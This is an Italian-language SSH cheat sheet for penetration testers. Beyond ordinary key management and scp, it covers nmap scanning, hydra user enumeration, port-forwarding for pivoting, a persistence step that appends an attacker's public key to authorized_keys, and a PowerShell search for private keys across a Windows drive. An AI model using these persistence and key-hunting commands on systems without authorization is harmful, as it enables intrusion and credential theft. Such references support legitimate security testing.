SSH
Cheet Sheet per l'utilizzo di SSH in ambiente Linux e Windows.
Pre-Exploitation
Riconoscimento e Scansione
Scansione delle Porte SSH
bash
# Scansione con Nmap per la porta SSH (default 22)
nmap -p 22 --open -sV -sC <target_ip>
# Enumerazione versioni e script specifici
nmap -p 22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods <target_ip>
Enumerazione Utenti con SSH
bash
# Tentativo di enumerare utenti validi con un dizionario
hydra -L users.txt -p invalidpass ssh://<target_ip>
Connessioni di Base
Login via SSH con Credenziali
bash
# Connessione base
ssh <username>@<target_ip>
# Specifica una chiave privata
ssh -i <private_key> <username>@<target_ip>
Debug Connessioni
Post-Exploitation
Pivoting con SSH
Dynamic Port Forwarding (SOCKS Proxy)
bash
ssh -D <local_port> <username>@<target_ip>
# Configurare il browser per usare localhost:<local_port> come proxy SOCKS5
Local Port Forwarding
bash
ssh -L <local_port>:<target_host>:<target_port> <username>@<target_ip>
# Esempio: ssh -L 8080:localhost:80 <username>@<target_ip>
Remote Port Forwarding
bash
ssh -R <remote_port>:<target_host>:<target_port> <username>@<target_ip>
# Esempio: ssh -R 8080:localhost:80 <username>@<target_ip>
Persistenza e Furto di Chiavi
Copia di una Chiave Privata
Persistenza via Authorized Keys
bash
# Aggiunta della propria chiave pubblica per accesso persistente
echo "<attacker_public_key>" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
Enumerazione di Chiavi SSH su Windows
powershell
# Cerca chiavi in directory comuni
Get-ChildItem -Path C:\ -Include id_rsa, *.pub -Recurse -Force -ErrorAction SilentlyContinue
Comandi Utili (Linux e Windows)
Gestione Chiavi
bash
# Generare una coppia di chiavi
ssh-keygen -t rsa -b 4096 -f <key_name>
# Aggiungere una chiave privata all'agente SSH
ssh-add <private_key>
# Verificare le chiavi salvate
ssh-add -l
Trasferimento di File
bash
# Usare SCP per trasferire file
scp <local_file> <username>@<target_ip>:<remote_path>
scp <username>@<target_ip>:<remote_file> <local_path>